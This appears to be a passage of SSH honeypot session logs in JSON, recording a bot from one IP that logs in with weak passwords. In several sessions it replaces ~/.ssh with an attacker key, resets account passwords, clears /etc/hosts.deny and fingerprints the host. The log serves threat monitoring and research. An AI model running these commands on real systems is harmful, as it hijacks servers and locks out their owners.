channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b8acf46f-d88e-4167-b602-de532992d0f5","name":"fearless-indigo-chamois","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":52358,"username":"u2","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:08:02.641859+00:00","ended_at":"2026-08-27T11:08:04.185810+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2084,"events":[{"seq":1,"at":"2026-08-27T11:07:43.957641+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:07:44.218556+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:07:48.528490+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:07:49.296381+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:07:49.558418+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\naE4l0twlo9SO\\naE4l0twlo9SO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:07:49.820838+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\naE4l0twlo9SO\\naE4l0twlo9SO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:07:50.082077+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:07:50.940166+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:07:51.207251+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:07:52.541351+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:07:52.805105+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:07:54.170680+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:07:54.430445+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:07:54.748092+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:07:55.010938+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:07:55.592480+00:00","kind":"output","latency_ms":null,"data":" 11:07:55 up 7 days, 7:58, 0 user, load average: 0.18, 0.19, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:07:55.855471+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:07:56.328480+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:07:56.591162+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:07:57.425519+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:07:57.688377+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:07:58.373392+00:00","kind":"output","latency_ms":null,"data":"top - 11:07:58 up 7 days, 7:58, 0 user, load average: 0.18, 0.19, 0.16\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:07:58.638011+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:07:59.381566+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:07:59.645380+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:08:00.076755+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:08:00.340640+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:08:00.719875+00:00","kind":"output","latency_ms":null,"data":"u2"},{"seq":29,"at":"2026-08-27T11:08:00.981362+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:08:02.376639+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:08:02.643568+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:08:04.113869+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"u2","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"17d397aa-7db2-4e42-ba16-97d9d803b67a","name":"blazing-freckled-curlew","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":44514,"username":"u2","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:07:46.801864+00:00","ended_at":"2026-08-27T11:07:48.452155+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"u2","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0cadbc74-0c2a-470d-a258-71307fcd6798","name":"amiable-umber-ermine","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":52364,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:07:44.837612+00:00","ended_at":"2026-08-27T11:07:46.282533+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1a2b8542-1f42-4ca1-8cf9-960379fe54f9","name":"candid-lucid-goose","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":54274,"username":"omni","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:06:08.039876+00:00","ended_at":"2026-08-27T11:06:09.411603+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2069,"events":[{"seq":1,"at":"2026-08-27T11:05:49.661217+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:05:49.921191+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:05:54.353711+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:05:55.158685+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:05:55.425827+00:00","kind":"input","latency_ms":null,"data":"echo -e \"omni\\nOOssjOPW0RBn\\nOOssjOPW0RBn\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:05:55.695147+00:00","kind":"input","latency_ms":null,"data":"echo \"omni\\nOOssjOPW0RBn\\nOOssjOPW0RBn\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:05:55.955821+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:05:56.393945+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:05:56.658592+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:05:57.680621+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:05:57.946517+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:05:59.150270+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:05:59.416069+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:05:59.694528+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:05:59.958401+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:06:00.415171+00:00","kind":"output","latency_ms":null,"data":" 11:06:00 up 7 days, 7:56, 0 user, load average: 0.17, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:06:00.678989+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:06:01.387762+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:06:01.653097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:06:02.444928+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:06:02.709451+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:06:03.596065+00:00","kind":"output","latency_ms":null,"data":"top - 11:06:03 up 7 days, 7:56, 0 user, load average: 0.17, 0.15, 0.1\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:06:03.861412+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:06:04.513037+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:06:04.776251+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:06:05.604844+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:06:05.868398+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:06:06.547388+00:00","kind":"output","latency_ms":null,"data":"omni"},{"seq":29,"at":"2026-08-27T11:06:06.811826+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:06:07.776259+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:06:08.040909+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:06:09.335630+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"omni","password":"omni","method":"password","accepted":true,"tier":"other"}]} {"id":"80506c7e-4555-48a1-a38e-7501427931a4","name":"vivid-coral-guanaco","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":54282,"username":"omni","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:05:53.013789+00:00","ended_at":"2026-08-27T11:05:54.276353+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"omni","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a1bc0c13-75b2-479a-afd3-e5dddaba2336","name":"sunlit-wry-yak","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":54278,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:05:50.524902+00:00","ended_at":"2026-08-27T11:05:52.486386+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"46d56f95-b821-4afb-8d34-210d96db9b95","name":"wandering-bitter-gibbon","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55534,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:03:57.440172+00:00","ended_at":"2026-08-27T11:03:58.593009+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T11:03:43.785112+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:03:44.051087+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:03:48.221574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:03:48.222067+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:03:48.485260+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ojfteXT9e1lE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:03:48.747959+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:03:49.011546+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:03:49.012087+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:03:49.277869+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:03:49.798736+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:03:50.069732+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:03:50.542029+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:03:50.807909+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:03:50.808680+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:03:51.075157+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:03:51.077293+00:00","kind":"output","latency_ms":null,"data":" 11:03:51 up 7 days, 7:53, 0 user, load average: 0.14, 0.14, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:03:51.338560+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:03:51.851660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:03:52.115883+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:03:52.679427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:03:52.946297+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:03:53.401938+00:00","kind":"output","latency_ms":null,"data":"top - 11:03:53 up 7 days, 7:54, 0 user, load average: 0.14, 0.14, 0.09\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:03:53.668456+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:03:54.176499+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:03:54.439116+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:03:54.934187+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:03:55.199384+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:03:55.677156+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:03:55.944326+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:03:57.175845+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:03:57.440955+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:03:58.515346+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"b6aa8822-8e9a-476c-80ce-ec99ec61a300","name":"drifting-eager-shrike","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":48602,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:03:46.210702+00:00","ended_at":"2026-08-27T11:03:48.144430+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4be434ba-421a-4407-9622-8f18f36a83ab","name":"russet-jaunty-warbler","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55536,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:03:44.641705+00:00","ended_at":"2026-08-27T11:03:45.684885+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5932f125-89d9-4bdf-b36a-1ec913c4ed94","name":"cheerful-graceful-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":35232,"username":"rahim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":259,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:01:46.289962+00:00","ended_at":"2026-08-27T11:01:46.840537+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2050,"events":[{"seq":1,"at":"2026-08-27T11:01:36.834895+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:01:37.095415+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:01:40.746813+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:01:40.747587+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:01:41.006694+00:00","kind":"input","latency_ms":null,"data":"echo -e \"rahim\\nrJC6IBLZUZnI\\nrJC6IBLZUZnI\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:01:41.265592+00:00","kind":"input","latency_ms":null,"data":"echo \"rahim\\nrJC6IBLZUZnI\\nrJC6IBLZUZnI\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:01:41.525157+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:01:41.527231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:01:41.785194+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:01:42.362590+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:01:42.628316+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:01:43.095477+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:01:43.357914+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:01:43.358657+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:01:43.619680+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:01:43.620345+00:00","kind":"output","latency_ms":null,"data":" 11:01:43 up 7 days, 7:51, 0 user, load average: 0.1, 0.13, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:01:43.879888+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:01:43.880375+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:01:44.139483+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:01:44.139995+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:01:44.402872+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:01:44.403861+00:00","kind":"output","latency_ms":null,"data":"top - 11:01:44 up 7 days, 7:51, 0 user, load average: 0.1, 0.13, 0.09\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:01:44.665640+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:01:44.669238+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:01:44.922800+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:01:44.924787+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:01:45.181258+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:01:45.181851+00:00","kind":"output","latency_ms":null,"data":"rahim"},{"seq":29,"at":"2026-08-27T11:01:45.440085+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:01:46.029706+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:01:46.291101+00:00","kind":"input","latency_ms":null,"data":"df -h | head 